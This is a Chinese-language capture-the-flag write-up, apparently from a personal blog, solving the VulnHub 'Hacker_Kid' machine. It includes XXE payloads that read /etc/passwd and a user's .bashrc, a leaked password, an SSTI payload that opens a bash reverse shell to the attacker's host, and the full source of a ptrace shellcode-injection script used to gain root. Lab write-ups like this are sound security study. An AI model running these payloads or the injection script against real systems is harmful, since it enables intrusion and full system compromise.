希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!
个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog
Hacker_Kid 靶机下载地址:https://www.vulnhub.com/entry/hacker-kid-101,719/
WP 参考:https://www.jianshu.com/p/60673ac0454f
0x01 信息收集
Nmap扫描目标主机,发现开放53、80、9999端口,分别运行BIND、Apache、Tornado
┌──(root㉿ch4ser)-[~]
└─# nmap -p- -sV -sC -A 192.168.196.143
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-19 04:48 CST
Nmap scan report for 192.168.196.143 (192.168.196.143)
Host is up (0.00037s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Notorious Kid : A Hacker
9999/tcp open http Tornado httpd 6.1
| http-title: Please Log In
|_Requested resource was /login?next=%2F
|_http-server-header: TornadoServer/6.1
MAC Address: 00:0C:29:DF:37:AF (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
访问9999端口,发现是一个登录页面
DirSearch扫描9999端口网站目录,未发现敏感目录或文件
DirSearch扫描80端口网站目录,发现/app.html,但貌似只是个样例展示
访问80端口页面,DIG me more提示使用dig命令,结合开放53端口DNS服务猜测存在域名映射
浏览页面源码,Use a GET parameter page_no to view pages. 提示加上参数page_no访问
尝试访问/?page_no=1,未得到有用的信息,提示我们继续
BurpSuite抓包发送至Intruder模块,Sniper模式进行爆破,通过Length判断/?page_no=21为正确请求,根据页面返回得到一个子域名hackers.blackhat.local,但他说不止一个子域名
尝试使用dig反查其他子域名,得到另外一个子域名hackerkid.blackhat.local
┌──(root㉿ch4ser)-[~]
└─# dig hackers.blackhat.local @192.168.196.143
; <<>> DiG 9.18.16-1-Debian <<>> hackers.blackhat.local @192.168.196.143
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 14108
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 7914cb3131ffa3e20100000065f8b68796612ad7d522f0c2 (good)
;; QUESTION SECTION:
;hackers.blackhat.local. IN A
;; AUTHORITY SECTION:
blackhat.local. 3600 IN SOA blackhat.local. hackerkid.blackhat.local. 1 10800 3600 604800 3600
;; Query time: 0 msec
;; SERVER: 192.168.196.143#53(192.168.196.143) (UDP)
;; WHEN: Tue Mar 19 05:47:51 CST 2024
;; MSG SIZE rcvd: 125
在hosts文件中配置一下本地DNS指向
访问hackers.blackhat.local,发现就是默认80端口的页面
访问hackerkid.blackhat.local,发现是一个注册页面
0x02 权限获取
XXE 漏洞利用
浏览hackerkid.blackhat.local页面源码,发现其直接将用户输入数据拼接到XML字符串中,且未进行严格过滤,猜测存在XXE漏洞
首先测试回显点,发现Email能正常回显,所以针对Email字段进行XXE漏洞利用
BurpSuite抓包,构造payload测试,成功读取/etc/passwd,发现可登录用户或能执行bash的就只有root和saket
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
<name>1</name>
<tel>2</tel>
<email>&xxe;</email>
<password>4</password>
</root>
显然,网站权限不可能读到root目录,那么就尝试读取saket用户敏感文件。构造payload,读取bash启动加载文件/home/saket/.bashrc(其他文件当然也需要看),被拦截了,尝试换伪协议并Base64编码后成功返回。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">]>
<root>
<name>1</name>
<tel>2</tel>
<email>&xxe;</email>
<password>4</password>
</root>
Base64解码,发现admin账户密码,注释说是设置运行python的密码,联想起信息收集知道目标主机开放9999端口Tornado服务,而Tornado是一个基于Python的Web框架和异步网络库,所以猜测这里admin账户密码很可能是9999端口网站的。
#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"
SSTI 漏洞利用
使用admin / Saket!#$%@!! 登录失败,将用户名换为saket成功登录
根据提示给上name参数,发现页面会打印回显接收的参数,结合Tornado我们有理由猜测可能存在SSTI漏洞利用的可能。
测试SSTI漏洞,传入参数/?name={{6*6}},根据回显发现6*6被代入执行,故此处存在SSTI漏洞
构造payload反弹shell失败,URL编码之后再次请求,成功反弹shell,得到普通用户saket的权限。
payload:
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.196.128/7777 0>&1"')}}
URL编码后:
%7b%25+import+os+%25%7d%7b%7bos.system(%27bash+-c+%22bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.196.128%2f7777+0%3e%261%22%27)%7d%7d
┌──(root㉿ch4ser)-[~]
└─# nc -lvvp 7777
listening on [any] 7777 ...
192.168.196.143: inverse host lookup failed: Host name lookup failure
connect to [192.168.196.128] from (UNKNOWN) [192.168.196.143] 60824
bash: cannot set terminal process group (798): Inappropriate ioctl for device
bash: no job control in this shell
saket@ubuntu:~$ whoami
saket
saket@ubuntu:~$ id
uid=1000(saket) gid=1000(saket) groups=1000(saket),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
0x03 权限提升 - Capability
获取当前环境不同二进制文件的Capability,发现/usr/bin/python2.7的Capability为cap_sys_ptrace+ep,即允许跟踪所有进程,那么就可以考虑类似Windows进程注入的操作,注入root用户运行的进程,获取其权限。
saket@ubuntu:~$ /sbin/getcap -r / 2>/dev/null
/sbin/getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
Capability像是SUID的升级版,是更细致的权限划分,常见Capability能力如下:
CAP_CHOWN 0 允许改变文件的所有权
CAP_DAC_OVERRIDE 1 忽略对文件的所有DAC访问限制
CAP_DAC_READ_SEARCH 2 忽略所有对读、搜索操作的限制
CAP_FOWNER 3 以最后操作的UID,覆盖文件的先前的UID
CAP_FSETID 4 确保在文件被修改后不修改setuid/setgid位
CAP_KILL 5 允许对不属于自己的进程发送信号
CAP_SETGID 6 允许改变组ID
CAP_SETUID 7 允许改变用户ID
CAP_SETPCAP 8 允许向其它进程转移能力以及删除其它进程的任意能力(只限init进程)
CAP_LINUX_IMMUTABLE 9 允许修改文件的不可修改(IMMUTABLE)和只添加(APPEND-ONLY)属性
CAP_NET_BIND_SERVICE 10 允许绑定到小于1024的端口
CAP_NET_BROADCAST 11 允许网络广播和多播访问(未使用)
CAP_NET_ADMIN 12 允许执行网络管理任务:接口、防火墙和路由等.
CAP_NET_RAW 13 允许使用原始(raw)套接字
CAP_IPC_LOCK 14 允许锁定共享内存片段
CAP_IPC_OWNER 15 忽略IPC所有权检查
CAP_SYS_MODULE 16 插入和删除内核模块
CAP_SYS_RAWIO 17 允许对ioperm/iopl的访问
CAP_SYS_CHROOT 18 允许使用chroot()系统调用
CAP_SYS_PTRACE 19 允许跟踪任何进程
CAP_SYS_PACCT 20 允许配置进程记帐(process accounting)
CAP_SYS_ADMIN 21 允许执行系统管理任务:加载/卸载文件系统、设置磁盘配额、开/关交换设备和文件等.
CAP_SYS_BOOT 22 允许重新启动系统
CAP_SYS_NICE 23 允许提升优先级,设置其它进程的优先级
CAP_SYS_RESOURCE 24 忽略资源限制
CAP_SYS_TIME 25 允许改变系统时钟
CAP_SYS_TTY_CONFIG 26 允许配置TTY设备
CAP_MKNOD 27 允许使用mknod()系统调用
CAP_LEASE 28 允许在文件上建立租借锁
CAP_SETFCAP 31 允许在指定的程序上授权能力给其它程序
将提权脚本下载到靶机,尝试注入所有root用户运行的进程,成功后靶机会开启5600端口
Kali使用nc连接靶机5600端口,成功获得root权限
┌──(root㉿ch4ser)-[~]
└─# cp inject.py /var/www/html; service apache2 start
saket@ubuntu:~$ wget http://192.168.196.128/inject.py
saket@ubuntu:~$ for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do /usr/bin/python2.7 inject.py $i; done
┌──(root㉿ch4ser)-[~]
└─# nc 192.168.196.143 5600
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
提权脚本inject.py源码如下:
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)